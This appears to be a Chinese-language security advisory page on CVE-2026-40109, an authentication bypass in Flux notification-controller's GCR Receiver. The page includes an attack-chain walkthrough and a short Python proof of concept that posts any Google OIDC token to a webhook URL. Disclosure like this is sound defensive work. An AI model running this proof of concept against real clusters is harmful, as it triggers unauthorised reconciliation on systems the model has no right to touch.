IPBUF安全漏洞报告
English
CVE-2026-40109 CVSS 3.1 低危

CVE-2026-40109 Flux notification-controller 认证绕过漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-40109
漏洞类型
身份认证绕过
CVSS评分
3.1 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Flux notification-controller

相关标签

身份认证绕过FluxGitOpsKubernetesOIDCCVE-2026-40109

漏洞概述

Flux notification-controller 1.8.3 之前版本存在身份验证绕过漏洞。由于 GCR Receiver 未正确验证 Google OIDC 令牌的电子邮件声明,攻击者可利用任意有效的 Google 签发令牌来认证 Receiver webhook 端点。这可能导致未经授权的触发 Flux 协调操作,尽管实际影响因系统的幂等性特征而受到限制。

技术细节

该漏洞的核心在于 Flux notification-controller 在处理 GCR Receiver 类型的 Pub/Sub 推送认证时,存在信任配置错误。系统仅验证了令牌是否由 Google 签发,而未校验令牌中特定的 email claim。攻击者首先需要通过信息泄露或其他方式获取目标 Receiver 的 webhook URL(该路径基于哈希生成,不易枚举)。一旦获得 URL,攻击者只需获取一个有效的 Google OIDC 令牌,并在请求头中携带该令牌向 webhook 端点发送 POST 请求,即可绕过身份验证。成功利用后,控制器会触发 Receiver 资源列表中定义的所有资源的协调过程。虽然 Flux 控制器具备请求去重机制且协调过程是幂等的(源状态未变时无实际效果),但攻击仍可能导致系统资源消耗或干扰正常的运维流程。

攻击链分析

STEP 1
侦察阶段
攻击者通过访问集群权限、泄露的 Secret 或其他渠道获取目标 Receiver 的 webhook URL。
STEP 2
令牌获取
攻击者获取一个任意有效的 Google OIDC 令牌,无需匹配特定的服务账户邮箱。
STEP 3
漏洞利用
攻击者向获取到的 webhook URL 发送带有 Google OIDC 令牌的 HTTP POST 请求。
STEP 4
执行影响
Flux notification-controller 验证令牌通过(仅验证签发者),触发未授权的 Flux 资源协调。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # PoC for CVE-2026-40109 # Requires: requests, google-auth import requests from google.oauth2 import id_token from google.auth.transport import requests as google_requests # Target Webhook URL (Obtained via reconnaissance) WEBHOOK_URL = "https://flux-controller.example.com/hook/sha256sum..." # 1. Obtain a valid Google OIDC token # In a real scenario, this would be a valid token for any Google account # The vulnerability does not require the token to match the specific service account email try: # Simulating token retrieval or using a valid token string # For demonstration, we assume you have a token string valid_token = "ya29.a0AfH6SMB..." headers = { "Authorization": f"Bearer {valid_token}", "Content-Type": "application/json" } # 2. Send malicious request to trigger reconciliation response = requests.post(WEBHOOK_URL, headers=headers, json={}) if response.status_code == 200: print("[+] Successfully triggered reconciliation.") else: print(f"[-] Failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"Error: {e}")

影响范围

Flux notification-controller < 1.8.3

防御指南

临时缓解措施
如果无法立即升级,建议通过 NetworkPolicy 限制入站流量,仅允许 Google Pub/Sub 服务的 IP 地址范围访问 notification-controller 的 webhook 端口。同时,加强对 Kubernetes Secrets 的访问控制,防止 webhook URL 泄露。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表